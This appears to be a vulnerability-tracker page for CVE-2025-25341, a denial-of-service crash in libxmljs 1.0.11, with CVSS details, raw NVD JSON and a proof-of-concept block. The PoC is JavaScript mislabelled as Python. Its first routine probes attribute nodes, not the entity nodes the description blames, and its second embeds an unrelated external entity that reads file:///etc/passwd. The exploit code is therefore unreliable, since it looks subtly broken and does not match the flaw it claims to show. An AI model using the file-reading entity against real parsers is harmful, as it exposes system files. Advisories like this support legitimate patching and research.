Security Vulnerability Report
中文
CVE-2025-25341 CVSS 7.5 HIGH

CVE-2025-25341

Published: 2025-12-26 15:15:46
Last Modified: 2025-12-31 21:37:23

Description

A vulnerability exists in the libxmljs 1.0.11 when parsing a specially crafted XML document. Accessing the internal _ref property on entity_ref and entity_decl nodes causes a segmentation fault, potentially leading to a denial-of-service (DoS).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:libxmljs_project:libxmljs:1.0.11:*:*:*:*:node.js:*:* - VULNERABLE
libxmljs 1.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const libxmljs = require('libxmljs'); // PoC for CVE-2025-25341: libxmljs segmentation fault via _ref property access // This PoC demonstrates the vulnerability in entity_ref and entity_decl nodes function triggerSegfault() { try { // Crafted XML with entity references and declarations const maliciousXml = `<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY test "test value"> <!ENTITY nested "&test; &test;"> ]> <root> <item>&test;</item> <nested>&nested;</nested> </root>`; const doc = libxmljs.parseXml(maliciousXml); // Try to access internal _ref property on entity nodes const root = doc.root(); const children = root.childNodes(); for (const child of children) { // Attempt to trigger the vulnerability by accessing _ref if (child.type() === 'element') { const refs = child.find('.//@*'); for (const ref of refs) { try { // This access may trigger the segfault const internalRef = ref._ref; } catch (e) { // Handle potential error } } } } console.log('Parsing completed without crash'); } catch (error) { console.error('Error occurred:', error.message); } } // Alternative PoC with direct entity manipulation function triggerSegfaultAlt() { const xmlWithEntities = ` <!DOCTYPE test [ <!ENTITY % evil SYSTEM "file:///etc/passwd"> <!ENTITY x SYSTEM "file:///etc/passwd"> ]> <root>&x;</root>`; const doc = libxmljs.parseXml(xmlWithEntities); const entities = doc.getDtd()?.entities(); if (entities) { for (const entity of entities) { // Accessing _ref on entity_decl may trigger the vulnerability try { const ref = entity._ref; } catch (e) {} } } } triggerSegfault(); triggerSegfaultAlt();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-25341", "sourceIdentifier": "[email protected]", "published": "2025-12-26T15:15:46.213", "lastModified": "2025-12-31T21:37:22.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in the libxmljs 1.0.11 when parsing a specially crafted XML document. Accessing the internal _ref property on entity_ref and entity_decl nodes causes a segmentation fault, potentially leading to a denial-of-service (DoS)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libxmljs_project:libxmljs:1.0.11:*:*:*:*:node.js:*:*", "matchCriteriaId": "AF1F80DB-995B-4B7F-9C7A-4D95BA4C6D5B"}]}]}], "references": [{"url": "https://github.com/libxmljs/libxmljs/issues/667", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}